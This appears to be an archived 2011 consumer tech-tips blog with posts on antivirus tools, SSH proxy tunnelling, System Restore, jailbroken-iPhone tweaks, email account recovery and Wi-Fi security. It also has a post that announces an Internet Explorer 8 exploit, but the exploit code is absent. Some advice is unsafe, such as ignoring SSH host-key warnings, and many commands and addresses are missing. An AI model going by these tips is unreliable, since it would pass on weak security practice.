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Saturday, April 30, 2011

How to keep your computer clean 6-7

6. Use an antivirus software.
Don't worry if you don't want to buy one, you can find free versions (for personal usage) as well. (Try AVG or Avira). This will enable the "scanning on demand" of files, which will instantly block any virus before affecting anything your computer. Remember to update it every week at least and to run a full system scan after every update.

7. Use spyware and adware search and removal tools.
These can be found in free versions too. You can use for example AVG Spyware removal and Ad-aware. Another good (and free) program is SpyBot Search&Destroy. Besides searching and destroying any spyware as the name implies, it has a system imunization tool which will make your system ignore in the future all the bad software the application knows (currently about 65000 malicious software types as far as i remeber).

How To Use Your Dedicated Virtual Server As An Internet Proxy Using SSH Tunneling

internet proxy serverI explained some of the benefits of having your own virtual private server hosting account a while ago – not only are they faster and able to host many more of your sites, you can also configure W3 Total Cache for optimum performance by installing special Apache caching extensions. Today I’m going to show you how you can also use it as a private Internet proxy server for secure Internet browsing.
This is particularly beneficial in countries such as China, where most commercial proxy solutions have stopped working altogether. Read on for a full explanation of how you can go about using your own VPS hosting account as a private proxy.
First up, a few points to clear up:

Can I Use This Method With My Shared Hosting, Or Does It Need To Be A VPS Or Dedicated Server?

This method uses SSH (secure shell, or “command line” access), so generally that means you can only use it with your dedicated or virtual dedicated hosting account. Some shared hosts do allow SSH access, so search your shared host’s support documents first.

Can I Use This To Download Torrents Or Other Nefarious Illegal Activites?

No. Remember the traffic is being routed through your website / server IP address, so anything you do can be traced back to that. You will also be using part of the bandwidth allocation of your hosting account, so downloading torrents would quickly push up the monthly hosting cost.

So Why Would I Want To Do This?

Sometimes you just want another IP address when you visit a website. This can be especially useful when faced with location-specific sites that block other countries. In other cases, your country may already be blocking access to various well known proxy providers, as is the case in China. The method described here will allow you to tunnel out of the offending country and go about your daily business without having every packet you send being inspected by the great firewall.

Setting Up SSH On Windows

I’ll start with Windows as the process is a little more complicated than on Mac OsX or Linux. In order to use SSH, you’ll need to download a special client software – in this tutorial I’ll use Putty. Go ahead and download the basic putty.exe file.
When you first open Putty, there’s a few settings to fill in. First is your server domain. If you have lots of domains set up on your private hosting account then go ahead and use any of them, but they’ll need to be SSH-enabled and remember that your login/password will be unique to each domain. I don’t suggest using the root account to log in under any circumstances, even if you have enabled it.
  1. Enter the server domain on the first screen.
  2. internet proxy server
  3. Click on the SSH label on the left sidebar. Make sure compression is enabled.
  4. ssh proxy tunnel
  5. Expand the SSH label to reveal additional settings. On the Tunnels screen, enter 9090 as the Source Port and change the destination to Dynamic.
  6. ssh proxy tunnel
  7. Head back up to the sessions screen where you first entered the domain. Enter a name for your settings in the text box below saved sessions, then hit save. You can now click on this saved session in future to reload all your settings.
  8. Finally, hit Open. There is no way to save your password and username, so you’ll need to re-enter these each time you open a connection. I also had problems pasting my password in, so if you do too then try typing it one character at a time. The first time you open the connection, you may get a warning error about authenticity of certificates and such. If so, ignore it and continue.
That’s it for Windows, leave the putty connection open and move onto configuring your browser.
ssh proxy tunnel

Setting Up SSH On Linux / OsX

Open up a terminal, and type the following command,
ssh -C2qTnN -D 9090
After you’ve typed in your password, that’s it. Leave the terminal open while you go on to configure your browser.
setting up ssh tunnel

Configuring The Browser

I’ll explain a couple of browsers here but basically you just need to change the settings for Connection -> Proxy to be a SOCKS5 proxy, with the url localhost and port 9090.
On Internet Explorer
Click the Tools -> Internet Options -> Connections tab. Tick Use a Proxy server and click Advanced. Fill in ONLY the SOCKS proxy as address localhost and port 9090
setting up ssh tunnel

On Firefox
Open up Preferences -> Advanced -> Network -> Settings -> Proxies. Select Manual proxy configuration. Fill out SOCKS Host and port.
setting up ssh tunnel
Alternatively, if you’re running a decent operating system like OsX, you can change the settings for system wide network access which will affect all browsers apps (this will also be opened for you if you attempt to change Chrome OsX proxy settings). From System Preferences, select your appropriate network interface (in my case, Ethernet). Under the proxies tab, tick to enable SOCKS proxy, then type in the details on the right.
internet proxy server
That’s wasn’t too hard was it? Of course, you could set this up with any remote linux computer really, but I wanted to demonstrate another of the many benefits to having your own private host over slow shared hosting, and just how powerful a few simple linux commands can be.

Remember, don’t do anything illegal with this method, as it can be traced back to your hosting account and is not designed to provide 100% anonymity.

Image Credit: ShutterStock

Why Generally is the ip Address of your Home Router : Tip

These days, there is one piece of networking equipment that has become much more common: the router. Many of them actually have the same IP (Internet Protocol) number,, and for an interesting reason.

Every website, router, and computer has an Ip address. It is how computers uniquely identify themselves on a network or on the Internet. Typically, in a home network, your router assigns one to your computer. How does it make sure the IP address on your home computer is not the same as one on the Internet? There actually is a list of numbers that is reserved for private use (home, office, corporate, etc.). They are never used for a public website. While the details of how IP numbers are used is intricate, the ranges of reserved numbers are straight forward:
  • to
  • to
  • to
Notice how the last section starts with and that looks a lot like the router address. It may sound strange, but the is actually used to refer to a group of computers. It is OK if that seems odd or does not seem to make sense. The important thing to recognize is that was chosen because it is a low number in this special range. Your computer’s IP number, given to it by the router, will be similar. It should be something like 192.168.1.x (x is a number between 2 & 255).

The nice thing about this convention is that you can

Friday, April 29, 2011

How to keep your computer clean 3-5

3. If your PC is a public area (eg. your office or so), try to lock the session when leaving even for 5 minutes.
This will prevent another user to do anything bad to you computer (like infecting it with a virus without knowing it).
4. Try to keep up with the hot fixes. Update your software as soon as a new version is available.

This si appliable to your operating system, office software, antivirus, etc. From time to time (usually when an exploit is found on the software), a patch is released for the users. Installing it can save you of some trouble later. Search for updates on the vendor's site at least monthly.

5. Don't use the auto-login option provided by Windows if your computer can be accessed by others.
If you share a computer with others, try creating users for that station. (Go to Control Panel - Administrative Tools - Computer Management - Users). Don't leave any account with no password, since it's an invite for any hacker to easily mess it up.
If you are not using any remote administration (like Remote Desktop Connections), disable it by going in the Remote Tab of system's properties (right-click My Computer - Properties).

3 Things To Check When Your System Restore Is Not Working

System Restore may work wonders and save your behind in those cases. If however you find system restore not working, there might be a number of things to check before you reinstall Windows. If you’re sure System Restore is turned on, but it’s still not working properly, try the following.

Run System Restore From Safe Mode

If you get any problems while running System Restore, or System Restore did not complete successfully, try running System Restore in Safe Mode. To run Windows in Safe Mode, restart your computer and press F8 (if you have Windows installed only). If you have a dual-boot configuration, select Windows and press F8 before the Windows logo appears. You can also make the system go into Safe Mode by typing ‘msconfig’ in the Start search box and enabling Safe Boot in the Boot tab.
system restore not working
When you’re on the desktop in Windows Safe Mode, type ‘System’ in the Start search box and press Enter when System Restore is highlighted. You should be able to run System Restore at this point. If System Restore works in Safe Mode, then perhaps your antivirus program or a corrupted file is preventing it from starting. You may need to adjust your antivirus program (like turn off Norton’s Tamper Protection feature) or perform scans before attempting to run System Restore again.
Sometimes, your System Restore files may also have become corrupted. You may have to use an earlier restore point (especially if you’ve tried the more recent ones without success), but if that doesn’t work, you may need to switch System Restore off (this will delete all your existing restore points), restart your computer and turn it on again.

Configure Disk Space Usage (300MB)

If you still can’t get System Restore to run properly, try adjusting the disk space allocated for System Restore since you might have run out of it. Microsoft recommends at least 300MB of free hard disk space and since System Restore might actually use up to 15% of space, you might look into increasing the allocated space or deleting old restore points.
To adjust disk space for System Restore, type ‘create restore’ in the Start search box and press Enter when Create a restore point is highlighted.
system restore does not wor
Now click on the Configure button and move the slider in the next dialog.
system restore does not wor
system restore does not wor
To delete old restore points, you can use the option below the slider to delete all restore points and previous versions of files (which I would not recommend), or only delete older restore points while still keeping the last, most recent one. To do the latter, type Disk Cleanup in the Start search box, right-click on the first item and choose Run as Administrator.
system restore disabled
Now click on More Options, and then on Clean up.
system restore disabled

Try System Image Backup Programs

System Restore may have always worked for you, but if you’ve tried a lot of things and System Restore just doesn’t work at all, try performing system image backups. These will create an image of your system when it’s stable and performing smoothly so you can restore your machine to that state in case it runs into problems. Windows 7 already has a function for you to create system repair disks and images. Just type ‘repair’ or ‘system repair’ in the Start search box and follow the instructions to create a repair disk.
system restore disabled
To create system images, type ‘back up’ in the Start search box.

Click on Create a System Image on the left of the window.

You’ll be prompted to choose somewhere to save your system image so you can start saving the backup. To restore image backups, read this.
You can also use Clonezilla, Paragon’s Drive Backup Express or any of the excellent 5 tools in this list.
If you would rather reinstall Windows, read Jorge’s guide for reinstalling without losing your data.

Additional Consideration: Make Sure Restore Points Are Being Created

Just to be on the safe side, check regularly that restore points are being created because the last thing you want is to find out your System Restore function doesn’t work after your computer has gone awry. Type ‘rstrui’ in the Start search box. Click Next on the dialog and on the next screen, make sure there are recent restore points.
system restore not working
How do you deal when System Restore is not working? Let us know in the comments!

Photo credit: Shutterstock

Thursday, April 28, 2011

How to keep your computer clean 2

2. Another way computers often get infected is by accessing compromised sites.
Usually this is the result of spam (e-mail, instant messaging). If you open a link in your e-mail that goes to for example you will probably end up being a spammer as well. The main idea is to understand what does a 'trusted site' means.
Recently, Google introduced a warning filter if you try to access an untrusted site from their search engine. You can also install in your browser a toolbar (Mcafee Site Advisor for Firefox - for example) that displays a safety ranking of the website. If you are an Internet newbie, this could be pretty useful for you.
Besides e-mail, a new generation of viruses started to infect instant messanging as well. If you are using Yahoo Messenger for example, you could recieve sometime in the future a message (from a trusted contact) like the one in the picture bellow.

Never open these types of links. If you are too courious, ask a confirmation from the contact about the message and the content of the page. Maybe it looks safe by opening a link to a *.jpg (picture), but the webpage also contains a java script that opens and runs a visual basic script (vbs) on your station - this allows writing and full-permition execution of a file, infecting your PC.

How to Block or Remove Cydia Ads on iPhone/iPod Touch

Advertisements appearing in Cydia apps and other applications on your iDevice are very annoying. Disabling or removing the ads in Cydia & other apps on your iPhone or iPod Touch is very easy. Just follow the instructions below in order to get rid of Google and fastclick ads on iPhone.

block ads in Cydia iPhone iPod

How to Remove or Block advertisements in Cydia

If you have installed the latest version of Cydia then follow the steps below-
Step #1 - SSH into your iPhone or iPod Touch and then navigate to /Applications/ search for following line of code (it should be line number 209)
if (depiction == null)
Step #2 - Replace it with
if (depiction == null || true)
Step #3 - Save and you are done.
If you are having problems to view the screenshots then follow the instructions listed below. Make sure that you do not perform the steps listed above.

To disable Cydia advertisements, just SSH into your iPhone or iPod Touch and edit the hosts file found in /etc

Step #1 - Open /etc/hosts and insert the following two lines to disable the Google & fastclick Ads
Step #2 - Reboot your iPhone and Voila! No more annoying Google or Fastclick ads on Cydia App.
Second method is advisable as it will also disable or block ads from the description page of a package appearing from Google and Fastclick on all applications of your iPhone/iPod Touch.

via-[xsellize forum]


How to Trace Mobile Numbers

Trace Mobile NumbersWith the rapid growth of mobile phone usage in recent years, we have often observed that the mobile phone has become a part of many illegal and criminal activities. So in most cases, tracing the mobile number becomes a vital part of the investigation process. Also sometimes we just want to trace a mobile number for reasons like annoying prank calls, blackmails, unknown number in a missed call list or similar.

Even though it is not possible to trace the number back to the caller, it is possible to trace it to the location of the caller and also find the network operator. Just have a look at this page on tracing Indian mobile numbers from Wikipedia. Using the information provided on this page, it is possible to certainly trace any mobile number from India and find out the location (state/city) and network operator (mobile operator) of the caller. All you need for this is only the first 4-digit of the mobile number. In this Wiki page you will find all the mobile number series listed in a nice tabular column where they are categorized based on mobile operator and the zone (state/city). This Wiki page is updated regularly so as to provide up-to-date information on newly added mobile number series and operators. I have used this page many a time and have never been disappointed.

If you would like to use a simpler interface where in you can just enter the target mobile number and trace the desired details, you can try this link from Numbering Plans. Using this link, you can trace any number in the world.

By using the information in this article, you can only know “where” the call is from and not “who” the caller is. Only the mobile operator is able to tell you ”who” the caller is. So if you’re in an emergency and need to find out the actual person behind the call, I would recommend that you file a complaint and take the help of police. I hope this information has helped you!


How to Recover Hacked Email Accounts?

Email Hacked?It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out. In this post you will find the possible ways and procedures to get back your hacked email account.

For Gmail:

It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link

If you cannot find success from the Step-1 then proceed to Step-2.

Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like

1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…

You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

For Yahoo and Hotmail:

Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option.

To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.

PLAYING WITH ICONS OF iPhone, iPad and iPod touch

icons too small ? want to play with icons and make interaction with idevice more interactive and fun filled?

so here's a gud thing for you !!!!!!!!!!

dowload app Bigify  a very small utility which will power you to make icons big, tilt the icons , increase or decrease brightness or transparency .

just move these bars and adjust the way u want it..
cydia --> search tab --> search for bigify -->install and ready to go !!!!!

after doing changes tap apply changes and you are done with it

Wednesday, April 27, 2011

How to keep your computer clean 1

Here are some tips for any Internet user to stay out of any malicious software like viruses and spyware.

1.Computer viruses spread mainly by e-mail these days.
Do not open any strange e-mails from people you don't know. Do not open any attachments from the list bellow before at least scanning them with an antivirus even though they were sent by a friend:
- *.bat (batch files, executes MSDOS scripts)
- *.exe (executable file)
- *.vbs (Visual Basic Scripting)
- *.scr (screen savers)
- *.com (command-line)
- *.js (java scripting)
- *.anything.exe - keep in mind that there are many viruses which rename files like track01.mp3 to track01.mp3.exe. Any version of Windows, by default, hides known file types extensions so it will show only track01.mp3 hiding .exe. Look at the file's icon, it's a good start.

viruses take advantage of the trusted contacts in your address book to send them (from your mail address) an infected attachment. This works both ways, so don't open anything suspicious sent by your contacts.
Another good sign is the attachment's size. Viruses usually have just a few KB. If you receive a so called small movie or song which is 20kB or so, something is wrong for sure.

Blekko – An Anti-Spam Search Engine

Blekko is a new comer in the search engine space that can give Google a run for its money in the long run. The company was fouded by Rich Skrenta and already earned itself an angel round from Baseline Ventures and two ex-Googlers. This search engine uses slashtags, basically a slash (/) followed by a tag. With this you can define your vertical. No doubt Google has the monopoly on the market. But Blekko proves that there’s always room for an innovative idea to shine through.
Blekko AutoSlashes generic search queries. It fits one of the most appropriate slashtags to your search query, from the following list:
  • autos
  • colleges
  • health
  • hotels
  • lyrics
  • personal finance
  • recipes
  • personal finance
  • recipes
After a simple sign up, you can create your own slashtags. You can choose them to keep private or share with the Blekko world. You can choose exactly which sites to search. When it comes to transparency in terms of search ranking, Blekko goes a step ahead of Google and Bing. It has also a Search Engine Optimization (SEO) section. When you click on the rank on the page, you’ll be redirected to the SEO page. Blekko lets you search for “cloud”. You’ll get a bunch of different slashtags to choose from and you can add them to your search.

Cloud Search Suggestions
Click Here to get started.


Secure Wireless Networks

How do wireless networks work?

As the name suggests, wireless networks, sometimes called WiFi, allow you to connect to the internet without relying on wires. If your home, office, airport, or even local coffee shop has a wireless connection, you can access the network from anywhere that is within that wireless area.

Wireless networks rely on radio waves rather than wires to connect computers to the internet. A transmitter, known as a wireless access point or gateway, is wired into an internet connection. This provides a "hotspot" that transmits the connectivity over radio waves. Hotspots have identifying information, including an item called an SSID (service set identifier), that allow computers to locate them. Computers that have a wireless card and have permission to access the wireless frequency can take advantage of the network connection. Some computers may automatically identify open wireless networks in a given area, while others may require that you locate and manually enter information such as the SSID.

What security threats are associated with wireless networks?

Because wireless networks do not require a wire between a computer and the internet connection, it is possible for attackers who are within range to hijack or intercept an unprotected connection. A practice known as wardriving involves individuals equipped with a computer, a wireless card, and a GPS device driving through areas in search of wireless networks and identifying the specific coordinates of a network location. This information is then usually posted online. Some individuals who participate in or take advantage of wardriving have malicious intent and could use this information to hijack your home wireless network or intercept the connection between your computer and a particular hotspot.

What can you do to minimize the risks to your wireless network?

Change default passwords - Most network devices, including wireless access points, are pre-configured with default administrator passwords to simplify setup. These default passwords are easily found online, so they don't provide any protection. Changing default passwords makes it harder for attackers to take control of the device (see Choosing and Protecting Passwords for more information).

Restrict access - Only allow authorized users to access your network. Each piece of hardware connected to a network has a MAC (media access control) address. You can restrict or allow access to your network by filtering MAC addresses. Consult your user documentation to get specific information about enabling these features. There are also several technologies available that require wireless users to authenticate before accessing the network.

Encrypt the data on your network - WEP (Wired Equivalent Privacy) and WPA (Wi-Fi Protected Access) both encrypt information on wireless devices. However, WEP has a number of security issues that make it less effective than WPA, so you should specifically look for gear that supports encryption via WPA. Encrypting the data would prevent anyone who might be able to access your network from viewing your data (see Understanding Encryption for more information).

Protect your SSID - To avoid outsiders easily accessing your network, avoid publicizing your SSID. Consult your user documentation to see if you can change the default SSID to make it more difficult to guess.

Install a firewall - While it is a good security practice to install a firewall on your network, you should also install a firewall directly on your wireless devices (a host-based firewall). Attackers who can directly tap into your wireless network may be able to circumvent your network firewall—a host-based firewall will add a layer of protection to the data on your computer (see Understanding Firewalls for more information).

Maintain anti-virus software - You can reduce the damage attackers may be able to inflict on your network and wireless computer by installing anti-virus software and keeping your virus definitions up to date (see Understanding Anti-Virus Software for more information). Many of these programs also have additional features that may protect against or detect spyware and Trojan horses (see Recognizing and Avoiding Spyware and Why is Cyber Security a Problem? for more information).


How to Use Encryption and Digital Signatures

What is encryption?

In very basic terms, encryption is a way to send a message in code. The only person who can decode the message is the person with the correct key; to anyone else, the message looks like a random series of letters, numbers, and characters.

Encryption is especially important if you are trying to send sensitive information that other people should not be able to access. Because email messages are sent over the internet and might be intercepted by an attacker, it is important to add an additional layer of security to sensitive information.

How is it different from digital signatures?

Like digital signatures, public-key encryption utilizes software such as PGP, converts information with mathematical algorithms, and relies on public and private keys, but there are differences: The purpose of encryption is confidentiality—concealing the content of the message by translating it into a code. The purpose of digital signatures is integrity and authenticity—verifying the sender of a message and indicating that the content has not been changed. Although encryption and digital signatures can be used independently, you can also sign an encrypted message.

When you sign a message, you use your private key, and anybody who has your public key can verify that the signature is valid (see Understanding Digital Signatures for more information). When you encrypt a message, you use the public key for the person you're sending it to, and his or her private key is used to decrypt the message. Because people should keep their private keys confidential and should protect them with passwords, the intended recipient should be the only one who is able to view the information.

How does encryption work?

  1. Obtain the public key for the person you want to be able to read the information. If you get the key from a public key ring, contact the person directly to confirm that the series of letters and numbers associated with the key is the correct fingerprint.
  2. Encrypt the email message using their public key. Most email clients have a feature to easily perform this task.
  3. When the person receives the message, he or she will be able to decrypt it.

Tuesday, April 26, 2011

VirusTotal Scans for Infected Files Online

VirusTotal is an online service that protects your computer against malware, virus or a bad URL. It scans your file with 39 different anti-virus apps. It’s a light-weight app that analyzes suspicious files and URLs. If you’re having suspicious samples that are not detected by your antivirus program, then you can submit the files using VirusTotal website. You can upload a file sizing upto 20 MB. This program also allows you to send the files for analysis with SSL protocol. Your files are scanned by multiple antivirus scanner engines.

Virus Total
With VirusTotal you can scan your files in 3 different ways:

Online Uploader

Simply select the file that is to be scanned and hit the Send File button. You can also send a file through encrypted channel by checking the SSL checkbox.

Email Uploader

You can send your file through email. For this you need to create a new email, write SCAN in the subject field, attach the file that you want to scan, and send it to

Windows Uploader

After installing VirusTotal Uploader, you’ll find an option showing your right-click context menu under Send To option. Choose a file that you want to scan, select Send To, and click VirusTotal.

How to safeguard your files when computer crashes

First thing to keep in mind: If your computer hasn't crashed yet, it will in the future! So instead of waiting for fate to strike, take some precautions now:

1) BACK-UP! Buy some decent DVD-R discs and put everything useful in them. When you have more useful stuff, backup again. Do this often.
2) Keep your computer healthy. Use an antivirus, an anti-spy, and a firewall. Keep them updated. Check regularly for Windows critical fixes.
3) Don't install software that would do dangerous things to your hard drive. A boot manager would fall in this category.
4) Use a registry cleaner before and after you install or uninstall any software. Many of the problems that will keep Windows from booting are caused by sloppy software that mess up your registry. A good registry cleaner is Tune-up Utilities.

5) Run chkdsk now and then. Go to Start> Run. Type chkdsk /F. Press enter.

In case your PC has already crashed, read the following:
Most important: Don't panic! Panic is like a little demon that whispers in your ear to format your hard drive and reinstall everything. Don't do it!
You will lose all your data and the little demon will laugh at you.

To be exact you can still recover your data if you format your drive (by using special software), but only if you don't write anything on the disc afterwards. In other words format + windows install = bad idea. If you reinstall windows without formating your drive, you will only lose the files on your desktop and "My Documents" folder.

In all occasions you should make sure to safeguard your files before attempting any kind of repair!

Knoppix is a Linux distribution than runs from a CD. Download the Knoppix ISO and burn it. Put it in your CD drive. On startup access BIOS and change the boot sequence so that your computer boots from the CD drive. Save settings and exit. Upon reboot, Knoppix will load.
Knoppix is much like windows and it comes with its own CD burner. Locate it, launch it and backup everything you want on CD. Now you don't have to worry anymore!

The less fast way: This requires that you have access to a second PC. Open the case of your computer and remove the hard disk.

Install it as a slave on the second PC.

Depending on respective configurations, you may have to change some jumper settings on the drive. Read the manual for help with installing hard drives and setting jumpers.
After this is done, boot the second PC. If everything went out ok, you should be able to access your drive without problems. (Edit: Note that Win98 cannot recognize a local NTFS (Win2K/XP) disk.)

Copy everything you need from your own hard drive to the other one. Now you don't have to worry anymore!

Replace your computer's hard disk, fix all problems and reverse the process to copy the data back to your computer, or take CD backups on the other PC.

SECURITY THREATS...................

Top 10 Current Security Threats
The Top 10 Current security Threats reflect the daily battle to protect and exploit vulnerabilities. As security solutions are developed in one area, hackers move on to look for weakness in others.

1.Targeted phishing
While the majority of phishing attacks target individuals, targeted phishing attacks go one step further by targeting specific organizations creating specially tailored messages that have been very effective in fooling users. While consumers are becoming aware of generalised phishing, organizations’ employees are much less prepared to deal with targeted phishing. We expect to see more phishing targeting specific companies.

2.Operating Systems Kernel Vulnerabilities
The end of 2006 has brought increased effort into finding bugs in operating system kernels. Though traditionally more difficult to exploit, vulnerabilities in an operating system kernel are far more severe than application vulnerabilities in that they can affect a multitude of applications and can be exploited in ways that silently subvert security defences.

3.Client-side vulnerabilities
Previously used to describe vulnerabilities in client applications such as e-mail applications and Web browsers, client-side vulnerabilities now include vulnerabilities in applications such as media players and word processors. In 2006 we saw a significant increase in the exploitation of vulnerabilities affecting millions of users, vulnerabilities in the parsing of metadata. We expect to see a continued rise in vulnerabilities affecting everything from JavaScript parsing in media players to spreadsheet applications.

4.Web-based worms
The number of worms propagating using Web-based cross-site scripting attacks in 2006 only scratched the surface of this potentially enormous threat. We expect to see a significant rise in worms that spread by injecting code into Web forms such as blog comments and shared community sites. As the number of blogs and users participating in sites such as Myspace rises, so do the number of potentially affected users.

Spyware has seen massive growth in the past couple of years, and this coming year we expect to see no slowdown. This proliferation, fuelled in part by spyware kits such as Haxdoor and Nuclear Grabber, has bred an underground economy network with more participants, experience and skills to profit from stolen data. We also expect to see an increased number of commercial spyware and grayware companies targeted by the US FTC and similar organizations around the world.

6.Targeted File Attachment Attacks
Attackers used 2006 to up the ante against enterprises by using targeted attacks against specific enterprise networks they wanted to penetrate. They send only a small number of well crafted messages to specific individuals and hope to gain an entry point. This makes AV detection difficult because the malware is a custom tool and not available to most AV houses for detection.

7.Web-based Botnets
2006 saw the migration of botnets away from IRC, many botnets are moving to a Web-based model. Instead of a persistent IRC connection, these bots will make a periodic poll to a Web server for new commands and updates. This reduces the network footprint of the botnet, making its detection harder in some cases.

8.Windows File Format Attacks
In 2006 we saw an increase in the number of attacks targeting Windows, specifically Microsoft Office, file formats. Indications show that hundreds of such attacks are lurking in Office, and are being slowly revealed by attackers, who are doing their own research.

9.Blacklist Defeats
The increased number of effective blacklists for phishing sites, such as the ones in Firefox and IE7, has begun to push the phishing criminal community to using very dynamic URLs in an effort to stay ahead of these anti-phishing blacklists. This explosion in variety is a common attack against a static, signature-based approach.

We expect the trend of the bad guys mapping the good guys to continue in 2007, which will further erode visibility into their activities. This includes mapping sensor networks and honeypots, research communities, as well as poisoning them with false and misleading data. Furthermore, we are seeing increasing funding and vulnerability research by hackers. Whereas before they focused on publicly disclosed flaws and exploits, now they’re using their own research teams to discover new vulnerabilities.

If the trends this year are any indication, they have a large backlog of vulnerabilities they are slowly revealing, usually timed to maximise the time between the public discovery of the issue and the vendor’s patch release schedule. This will continue and promises to affect Internet Explorer and Office and most likely other, more specific applications.

It is the job of security professionals to stay one step ahead, and we believe that these ten trends represent some of the most likely areas of activity in the ongoing battle between security professionals, hackers and cyber criminals in the coming year.


3 Simple Facebook Security Tips
There are recommended ways to use social media websites as facebook and still keep an acceptable level of personal security

Facebook has provided users with powerful controls to protect themselves online, and it is up to individuals to check and ensure that appropriate settings are in place. Sophos has published recommendations for how to configure the settings for each of these privacy areas of Facebook.

Five minutes spent learning the ins-and-outs of Facebook's privacy settings, for instance, could save a lot of heartache later.

If you do use Facebook -- or other social networking sites -- here are a few security tips from Sophos:

1. Think carefully about who you allow to become your friend Once you have accepted someone as your friend they will be able to access any information about you (including photographs) that you have marked as viewable by your friends. You can remove friends at any time should you change your mind about someone.

2. Show "limited friends" a cut-down version of your profile You can choose to make people 'limited friends' who only have access to a cut-down version of your profile if you wish. This can be useful if you have associates who you do not wish to give full friend status to, or feel uncomfortable sharing personal information with.

3. Disable options, then open them one by one Think about how you want to use Facebook. If it's only to keep in touch with people and be able to contact them then maybe it's better to turn off the bells and whistles. It makes a lot of sense to disable an option until you have decided you do want and need it, rather than start with everything accessible.

Sophos recommended privacy settings for Facebook

Monday, April 25, 2011

Speed up your NTFS file system

1. Click Start and choose Run,

2. Type regedit,

3. Go to:

Run then type regedit:-
then Go to

4. Find item NtfsDisableLastAccessUpdate and give her a Value 00000001. If item don't exist make new DWORD and give her a name NtfsDisableLastAccessUpdate and Value 00000001.

5. Restart your computer

Exploit for Internet Explorer 8.....

Before we continue, let me tell you one thing straight. This document is purely intended for educational purpose. I do not want anyone to use this information (or any information on this blog) to actually hack into computers or do other illegal things. So I can not be held responsible for the acts of other people who took parts of this document and used it for illegal purpose. If you don't agree, then you are not allowed to continue to access this leave this website immediately.


In computing, an exploits is an attack on a computer system, especially one that takes advantages of a particular vulnerability that the system offers to intruders. Used as a verb, the term refers to the act of successfully making such an attack.

Many Crackers (or hackers, if you prefer that term) take pride in keeping tabs of such exploits and post their exploits (and discovered vulnerabilities) on a Web site to share with others.

Where an exploits takes advantages of a weakness in an operating system or vended application program, the owners of the system or application issue a "fix" or patch in response. Users of the system or application are responsible for obtaining the patch, which can usually be downloaded from the web. Failure to install a patch for a given problem exposes the user to a security breaches. (However, it can be difficult to keep up with all the required patches.)

Here is an example of a simple exploits for INTERNET EXPLORER 8:
Internet Explorer 8 is a popular Internet browser. With lots of bugs.............

This bug is a typical result of multitudinous loop. The flaw exits within "history go " ActiveX control which contains stack based overflow conditions. User interaction is required to exploits this vulnerability in that the target must visit a malicious web page.

Attacker can run any windows command, consume lots of memory and able to crash your IE or make your system unaccessible, your work if any might be lost

Copy the code in text file and save as "IEexploit.html" open in Internet Explorer 8.

Block All Location Records Stored on your iPhone Using Location Blocker [Cydia Tweak]

Do you want to block all location records stored on your iPhone? Well, As we have posted earlier iPhone with iOS 4.x has been tracking your location and storing it in a secret hidden file. Then this file is copied to your computer when your computer is synchronized with iPhone. The file contains data about your latitude and longitude along with the timestamp. Now you can block all location records stored on your iPhone by using a new jailbreak tweak available in Cydia. The name of this tweak is Location Blocker. After you have installed this tweak on your jailbroken iPhone it will allow you to block locations from storing any information about cell location, your past locations, and WiFi location. Simply follow the steps posted below to install this tweak on your iPhone.
Cydia Icon

How to Install Location Blocker on iPhone

STEP 1. First you have to start Cydia.
STEP 2. Now you have to go to Manage – > Sources -> Edit -> Add the following URL source:
STEP 3. Now simply click on “Add Source”.
STEP 4. Tap on Done and then tap on the Added Source after the Source is verified and updated.
STEP 5. Now search for Locationd Blocker.
STEP 6. Now simply tap on Install button to install Locationd Blocker.
STEP 7. Tap on Confirm button to complete the installation.

That’s it. You should note that you will need to have jailbroken iPhone to install this tweak.

[Via solidblogger ]


Beware Of Facebook Hosted Malware Such As Boface Family of Worms

PandaLabs, Panda Security's malware analysis and detection laboratory, announced that it has discovered that variant number 56 of the Boface family of worms has just appeared, Boface.BJ.worm.

Largely due to the enormous global popularity of Facebook and the potential it offers for reaching numerous users, each of these variants has been designed especially to use this social network to distribute and download malware. The BJ variant in particular uses Facebook to download and install rogue anti-malware and trick users into believing they are infected and consequently buy a fake antivirus.

According to data compiled through the free Panda ActiveScan online scanner, 1 percent of all computers scanned were infected by a variant of Boface since August 2008. Luis Corrons, technical director of PandaLabs states, "Extrapolating this data with an estimate of the number of Facebook users, about 200 million, we approximate that two million users could be infected. The increasing number of variants in circulation is due to the aim of cyber-crooks to infect as many users as possible and therefore boost their financial returns."

The number of infections observed for this type of malware since August 2008, indicates an exponential growth rate as high as 1,200 percent, from then to April 2009. With respect to the geographic distribution of infections, almost 40 percent are in the United States, with the rest distributed across many different countries. Please visit this link for a visual of the increase in Boface worm infections in the past year:

The rogue anti-malware business is one of the most prolific cyber crime activities, with respect to the number of examples in circulation. PandaLabs forecast quarterly growth of more than 100 percent for the current year. Please visit this link for a graph that represents the growth of rogue antivirus in the past year:

The new Boface.BJ.worm reaches computers in several ways using email messages with attachments, Internet downloads, files transferred via FTP, IRC channels, P2P file-sharing networks, etc., to infect unsuspecting users. Once the computer has been infected, the worm takes four hours to kick into action, activating once infected users have entered their Facebook accounts. In that moment, it sends a message to the entire network of friends, including the infected user. Please visit this link for a photo example.

Anyone clicking on the link in the message will be taken to a fake YouTube page (called "YuoTube") where they will supposedly be able to see a video. However, they will first be prompted to download a media player. If the user accepts, the fake antivirus will be immediately downloaded. From the moment it is installed, this malware will launch messages claiming that the computer is infected and that the user must buy a solution. Specifically, one of the fake antivirus products displayed in this interface:

